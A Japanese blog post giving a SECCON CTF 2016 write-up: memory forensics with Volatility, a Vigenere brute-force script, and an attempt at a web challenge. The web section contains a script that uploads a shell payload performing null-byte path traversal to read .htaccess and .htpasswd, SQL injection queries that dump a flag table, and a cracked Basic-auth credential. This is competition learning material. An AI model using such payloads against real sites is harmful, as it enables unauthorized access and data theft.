SECCON CTF 2016 Writeup & 参加記
こんにちは.たんごです.さっきまでSECCON CTF 2016にチームg0tiu5aで参加していました. 本投稿はMKAK Advent Calendar 2016 の12/11分の記事になります.(このアドベントカレンダーは完全にプライベートなので分かる人にしかわからないやつです.すみません)
はじめに
謝罪です.某所で100位以内になるという目標をたてて頑張っていましたが結果は280位でした.大変申し訳ございません🙏
現実は厳しいゾ
Writeup
解いた問題は以下の4問です
- Vigenere
- VoIP
- Memory Analysis
- Anti-Debugging
どの問題も300チーム以上解けてる明示的な問題ですね.
VoIP
頑張ってリスニングするとフラグが聞こえます.3〜4回聞き直しました.
Flag: SECCON{9001IVR}
Memory Analysis
メモリ解析の問題です.ヒントにあるようにvolatilityを使って解析してきます.
$ vol.py -f forensic_100.raw imageinfo Volatility Foundation Volatility Framework 2.5 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (/Users/jtwp470/CTFs/seccon-2016/forensics/forensic_100.raw) PAE type : PAE DTB : 0x34c000L KDBG : 0x80545ce0L Number of Processors : 1 Image Type (Service Pack) : 3 KPCR for CPU 0 : 0xffdff000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2016-12-06 05:28:47 UTC+0000 Image local date and time : 2016-12-06 14:28:47 +0900
これでWindows XPのメモリダンプであるということがわかります. プロセスリストの一覧.
$ vol.py -f forensic_100.raw pslist --profile=WinXPSP2x86 Volatility Foundation Volatility Framework 2.5 Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0x823c8660 System 4 0 58 259 ------ 0 0x81a18020 smss.exe 540 4 3 19 ------ 0 2016-12-06 05:27:04 UTC+0000 0x81ef6da0 csrss.exe 604 540 11 480 0 0 2016-12-06 05:27:07 UTC+0000 0x82173da0 winlogon.exe 628 540 24 541 0 0 2016-12-06 05:27:07 UTC+0000 0x8216e670 services.exe 672 628 15 286 0 0 2016-12-06 05:27:07 UTC+0000 0x81f8c9a0 lsass.exe 684 628 26 374 0 0 2016-12-06 05:27:07 UTC+0000 0x82154880 vmacthlp.exe 836 672 1 25 0 0 2016-12-06 05:27:08 UTC+0000 0x81e18da0 svchost.exe 848 672 20 216 0 0 2016-12-06 05:27:08 UTC+0000 0x82151ca8 svchost.exe 936 672 10 272 0 0 2016-12-06 05:27:08 UTC+0000 0x82312450 svchost.exe 1036 672 87 1514 0 0 2016-12-06 05:27:08 UTC+0000 0x81f92778 svchost.exe 1088 672 7 83 0 0 2016-12-06 05:27:08 UTC+0000 0x81e41928 svchost.exe 1320 672 12 183 0 0 2016-12-06 05:27:10 UTC+0000 0x8231f698 explorer.exe 1556 1520 15 466 0 0 2016-12-06 05:27:10 UTC+0000 0x81f0dbe0 spoolsv.exe 1644 672 15 133 0 0 2016-12-06 05:27:10 UTC+0000 0x81e4f560 svchost.exe 1704 672 5 107 0 0 2016-12-06 05:27:10 UTC+0000 0x81f65da0 svchost.exe 1776 672 2 23 0 0 2016-12-06 05:27:10 UTC+0000 0x821f8438 vmtoolsd.exe 1856 1556 3 129 0 0 2016-12-06 05:27:11 UTC+0000 0x82170da0 ctfmon.exe 1872 1556 1 87 0 0 2016-12-06 05:27:11 UTC+0000 0x81f00558 VGAuthService.e 196 672 2 60 0 0 2016-12-06 05:27:13 UTC+0000 0x81e4b4b0 vmtoolsd.exe 312 672 9 265 0 0 2016-12-06 05:27:13 UTC+0000 0x81e886f0 GoogleUpdate.ex 372 1984 7 138 0 0 2016-12-06 05:27:13 UTC+0000 0x82062b20 wuauclt.exe 488 1036 7 132 0 0 2016-12-06 05:27:13 UTC+0000 0x81e89200 wmiprvse.exe 596 848 12 255 0 0 2016-12-06 05:27:13 UTC+0000 0x82267900 rundll32.exe 1712 1556 2 144 0 0 2016-12-06 05:27:16 UTC+0000 0x81f46238 alg.exe 2028 672 7 104 0 0 2016-12-06 05:27:16 UTC+0000 0x81e56228 wscntfy.exe 720 1036 1 37 0 0 2016-12-06 05:27:18 UTC+0000 0x8225bda0 IEXPLORE.EXE 380 1776 22 385 0 0 2016-12-06 05:27:19 UTC+0000 0x8229f7e8 IEXPLORE.EXE 1080 380 19 397 0 0 2016-12-06 05:27:21 UTC+0000 0x81f2cb20 wuauclt.exe 3164 1036 5 107 0 0 2016-12-06 05:28:15 UTC+0000 0x819b4380 tcpview.exe 3308 1556 2 84 0 0 2016-12-06 05:28:42 UTC+0000 0x8216a5e8 DumpIt.exe 3740 1556 1 25 0 0 2016-12-06 05:28:46 UTC+0000
通信の履歴
$ vol.py -f forensic_100.raw --profile=WinXPSP2x86 connscan Volatility Foundation Volatility Framework 2.5 Offset(P) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --- 0x018c3cc8 192.168.88.131:1077 180.70.134.87:80 3676 0x0196f6a0 192.168.88.131:1122 175.126.170.70:80 3676 0x0233bbe8 192.168.88.131:1034 153.127.200.178:80 1080 0x02470238 192.168.88.131:1036 172.217.27.78:443 2776
ここで出てきたIPアドレスをdig -x
で見てみると153.127.200.178
はさくらのIPアドレスの範囲であることが判明しました.
$ dig @8.8.8.8 -x 153.127.200.178 ; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 -x 153.127.200.178 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 16549 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;178.200.127.153.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: 200.127.153.in-addr.arpa. 1799 IN SOA dns.sakura.ad.jp. noc.sakura.ad.jp. 2016121118 3600 900 3600000 3600 ;; Query time: 129 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Sun Dec 11 16:35:06 2016 ;; MSG SIZE rcvd: 102
SECCONのインフラ協賛企業はさくらインターネットなのでこれは怪しいですね. (Guessing)
そういえば /etc/hosts
もみてねと問題文に書いてあるのでWindowsにおける /etc/hosts
に相当するものを抜き出します.
$ vol.py -f forensic_100.raw --profile=WinXPSP2x86 filescan | egrep "hosts" Volatility Foundation Volatility Framework 2.5 0x000000000217b748 1 0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts $ vol.py -f forensic_100.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000000217b748 --name -D ./memory_analysis Volatility Foundation Volatility Framework 2.5 DataSectionObject 0x0217b748 None \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
中身は以下のようになっていました.
153.127.200.178 crattack.tistory.com
crattack.tistory.com
は韓国のサーバーでありもともとさくらインターネット上でホスティングされているものではないことがわかりました.そこでプロセス1080のメモリダンプを抜き出してみると次のようなログが取れました.
Visited: SYSTEM@http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
そこで次のように書き換えてアクセスしてみます.
$ curl $(echo "http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd" | sed -e 's/crattack.tistory.com/153.127.200.178/g') SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}
Flag: SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}
Forensicsの代名詞みたいな問題で面白かったです.
Anti-Debugging
パスワードはI have a pen.
でここまでは簡単でした.IDAで内部を読むとデバッガやらWiresharkやらを見つけるとプログラムが落ちるようです.各所各所で適当に判定部分を偽装したりして最後の方まで動かせるようにするとFlagがスタックに積まれるのでそれを出しました.
Flag: <ど忘れしました>
Vigenere
実は一番最初の方に解いた問題です.正攻法で解きました.ただ変数が糞すぎて何度もやり直したのは秘密ですw
k:
????????????
p:
SECCON{???????????????????????????????????}
c:
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=
f528a6ab914c1ecf856a1d93103948fe
調べればわかりますが多表暗号なので横SのLになる部分はVだみたいな形式で鍵を求めることが出来ます.
最初の SECCON{
までは鍵をすぐに見つけることが出来ます.
つまりここまではすぐにわかります.
k = "VIGENER?????"
あと5文字はブルートフォースで見つけます.285 は2000万くらいなのでそんなに時間はかかりません.
#!/usr/bin/env python3 from itertools import starmap, cycle from hashlib import md5 TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}" k = "????????????" k = "VIGENER?????" MD5_PLAIN = " PLAIN_FLAG = "SECCON{???????????????????????????????????}" CRYPT_FLAG = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ" def enc(p, k): return TABLE[(TABLE.find(p) + TABLE.find(k)) % 28] def encrypt(plain, key): return "".join(starmap(enc, zip(plain, cycle(key)))) def dec(c, k): return TABLE[(TABLE.find(c) - TABLE.find(k)) % 28] def decrypt(cipher, key): return "".join(starmap(dec, zip(cipher, cycle(key)))) def detect_first_key(): known_plain = "SECCON{" known_crypt = "LMIG}RP" k = "" for p, c in zip(known_plain, known_crypt): for cand in TABLE: if encrypt(p, cand) == c: k += cand break return k def check(): KEY = detect_first_key() known_plain = "SECCON{" known_crypt = "LMIG}RP" print(known_plain, decrypt(known_crypt, KEY)) print(known_crypt, encrypt(known_plain, KEY)) def main(): KEY = detect_first_key() k = KEY for a in TABLE: print("Searching {}{}????".format(KEY, a)) for b in TABLE: for c in TABLE: for d in TABLE: for e in TABLE: k += a + b + c + d + e # print(k) dec = decrypt(CRYPT_FLAG, k) # print(d) if md5(dec.encode()).hexdigest() == MD5_PLAIN: print("Detect key: {}".format(k)) print("Gotcha! Flag: {}".format(dec)) import sys sys.exit() else: k = KEY main()
$ python vigenere.py Searching VIGENERA???? Searching VIGENERB???? Searching VIGENERC???? Searching VIGENERD???? Searching VIGENERE???? Detect key: VIGENERECODE Gotcha! Flag: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
Flag: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
さてこの問題700チーム以上が解いててそんなに簡単な問題なの?と思っていましたがどうやらどっかのおバカがオンラインのmd5リバースサイトで入力してしまったみたいです.燃えろ🔥
終了後にWriteupを読んで解いた問題
uncomfortable web
特定のサイトに
をアップロードして 127.0.0.1:81
に攻撃してねw という問題.毎回毎回アップロードして攻撃〜を繰り返すのは面倒だったのでその部分は自動化しました.
#!/usr/bin/env python3 import requests def upload(): URL = "http://uncomfortableweb.pwn.seccon.jp/" SHELL = """ #!/bin/bash #ls -la / curl http://127.0.0.1:81/select.cgi -F txt=../.htaccess%00 # curl http://127.0.0.1:81/select.cgi?txt=../.htaccess%00 # curl http://127.0.0.1:81/select.cgi?txt=../authed/.htpasswd%00 # curl "http://keigo:test@127.0.0.1:81/authed/" # curl "http://keigo:test@127.0.0.1:81/authed/sqlinj/[1-100].cgi?no=a'or'1'like'1'--" # curl "http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi?no=a'/**/union/**/select/**/name,tbl_name,sql/**/from/**/sqlite_master--" # => CREATE TABLE f1ags (f1ag) # curl "http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi?no=a'/**/union/**/select/**/1,f1ag,1/**/from/**/f1ags--" """ result = requests.post(URL, files={'file': ('inject.sh', SHELL)}) r = result.text.split("\n") # print(r) #s_pos = r.index(u'<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">') s_pos = 12 l_pos = r.index(u'</pre><hr><p><p><br>') res = "\n".join([ c.replace( '<', '<').replace( '>', '>').replace( '&', '&').replace( '"', '"') for c in r[s_pos:l_pos]]) print(res) return res upload()
途中までわかったこととして
- authed/a.txt
- authed/b.txt
- authed/c.txt
があり select の部分で txt=a で拡張子txtが開けるようです.ずっと .htaccessとか.htpasswdを探していてヌルバイトインジェクションだろうな〜と思いつつ%00を末尾につけて探し回っていましたが一向に見つからず.
どうやらcurl
の-Fオプションでは%00
は無視される模様orz
curl http://127.0.0.1:81/select.cgi -F txt=../.htaccess%00
↑ではなく↓のように書くと.htaccessが出てきますorz
$ curl http://127.0.0.1:81/select.cgi?txt=../.htaccess%00 > AuthUserFile /var/www/html-inner/authed/.htpasswd<br> > AuthGroupFile /dev/null<br> > AuthName "SECCON 2016"<br> > AuthType Basic<br> > Require user keigo<br> $ curl http://127.0.0.1:81/select.cgi?txt=../authed/.htpasswd%00 > keigo:LdnoMJCeVy.SE
上のBasic認証のPWはJohn the Ripperで判明します. keigo:test
です.
あとは他の人のWriteupを読んでください.
簡単に言うと
この問題が解けてれば 700 pt になって 150 位くらいまでいけてたんですよー 😢
その他解析だけで来たやつ
- pppppoxy
- C#で出来たWebサイト? Reversing?
- ILPsyでは逆解析できなくて詰んでた.多分変数に非アスキー文字を使って少し難読化してるみたい?
- https://httpoxy.org/ これのこと?
- Retrospective
- VB6で書かれたアプリケーション.逆コンパイラとかがあるみたいだけど動かなくて諦め.
まとめ
今年のSECCON CTFは昨年より更に難易度が上がっていて多分昨年の自分なら1問も解けずに終了していたんだろうなと言う気持ちです.比較的昨年より糞問はなかったんじゃないでしょうか.ForensicsとCrypt, Binaryしか解けていないので引き続きWebとPwnableの分野のお勉強をさらに進めていきたいなと言う気持ちです.
予選の激しいセレクションを勝ち抜いた国際チームと国内大会優勝した学生チームがSECCON FinalでA&Dやるの、サバゲーの地方大会優勝した学生チームが、突然世界の名だたる特殊部隊と実銃で戦うことになってしまった的な、どこかのラノベに出てきそうな話になってて面白い。
— Bono (@Bono_iPad) December 11, 2016
本当にソレな
戯言
誰か僕をCTFのチームに誘ってくれませんか? 雑魚ですが頑張ります orz
お気持ち
お疲れ様でしたー 結局1人で解いてた感じになってて無限にツライ
— たんご (@jtwp470) 2016年12月11日
これから数ヶ月は卒論が炎上しているので一旦CTFから離れます.